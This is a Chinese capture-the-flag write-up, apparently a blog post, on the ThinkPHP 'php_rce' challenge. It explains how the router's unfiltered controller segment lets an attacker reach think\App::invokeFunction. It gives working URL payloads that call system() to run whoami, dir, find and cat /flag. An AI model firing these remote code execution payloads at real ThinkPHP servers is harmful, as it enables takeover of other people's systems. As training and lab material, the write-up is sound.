攻防世界_php_rce

php_rce

thinkphp框架漏洞

漏洞成因

路由控制器部分允许用户输入任意字符串,且未过滤\等特殊字符,最终直接拿去实例化类名,攻击者就能实例化项目中任意类,进而触发危险操作。

  1. 路由参数可控

    用户访问网站时,会输入一些地址(URL),比如 index.php?s=index/user/login

    路由 就是把这些地址分成几部分,让程序知道用户要访问哪个“模块”、哪个“控制器”、哪个“方法”。

    在某些PHP框架(如ThinkPHP、某些自研MVC)中,URL里的某一段(比如 controller)可以直接通过URL参数或者pathinfo传递。

    index.php?s=index/控制器/方法
    

    其中,“控制器”部分通常决定实际要实例化的类。

  2. 路由分割未过滤

    路由解析代码通常只是用/分割字符串

    $url = "index/控制器/方法";
    list($module, $controller, $action) = explode('/', $url);
    

    但是,没有限制“控制器”这一段的内容。

  3. 控制器类名拼接漏洞

    程序会把“控制器”这部分作为类名进行实例化:

    $instance = new $controller();
    
    $instance = $this->app->controller($controller);
    
  4. 没有过滤\符号

    在未修复前,没有限制不能输入反斜线(\。攻击者可以构造如下URL:

    index.php?s=index/\namespace\class/method
    

    这会导致 $controller = "\namespace\class",从而实例化了任意命名空间下的任意类。

https://www.cnblogs.com/backlion/p/10106676.html

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • s: 框架默认用来接收路由路径的参数名。
  • index: 表示控制器名(Controller),在 ThinkPHP 中通常代表某个模块下的控制器。
  • think\app: 这里利用了命名空间的概念,攻击者通过引入反斜杠 \ 来访问任意类的方法。think\app 实际上指向了 ThinkPHP 框架中的某个类。
  • invokefunction: 这是具体要调用的方法名。invokefunction 方法允许动态调用 PHP 函数,并传递参数。
  • function=call_user_func_array:
    • call_user_func_array 是 PHP 内置函数,用于调用指定的函数并传递数组形式的参数。
    • 这里的 function 参数指定了要调用的函数为 call_user_func_array

过程

  1. 解析 s 参数,得到要访问的类是 think\App,方法是 invokeFunction
  2. 实例化 think\App 这个类,调用其中的 invokeFunction 方法。
  3. 后面的 functionvars 参数就会被 invokeFunction 这个方法用来调用任意函数,传递任意参数。
call_user_func_array($_GET['vars'][0], $_GET['vars'][1]);
call_user_func_array('system', ['dir']);
system('dir');
#vars[0]=system 表示第一个参数(要调用的函数名)是 system
#vars[1][]=dir 表示第二个参数是个数组,数组里有一个元素 dir,也就是 system('dir')
#PHP 在处理像 vars[1][]=dir 这样的参数时,会自动转换成数组。

$_GET['vars'] = [
    0 => 'system',
    1 => [0 => 'dir']
];
vars[1] 的值是一个数组,内容是 ['dir']

命名空间是什么?

命名空间是一种组织代码的方式,它为类、函数、常量等加上一个“前缀”,防止名称重复冲突。

namespace App\Models;

class User {
    public function sayHi() {
        echo "我是模型里的用户类";
    }
}
#######################################
namespace App\Controllers;

class User {
    public function sayBye() {
        echo "我是控制器里的用户类";
    }
}
#######################################
App/
├── Models/
│   └── User.php
└── Controllers/
    └── User.php
    
对应的命名空间是:
App\Models\User
App\Controllers\User

wp

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag"

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
posted @ 2025-06-13 19:02  funji  阅读(178)  评论(0)    收藏  举报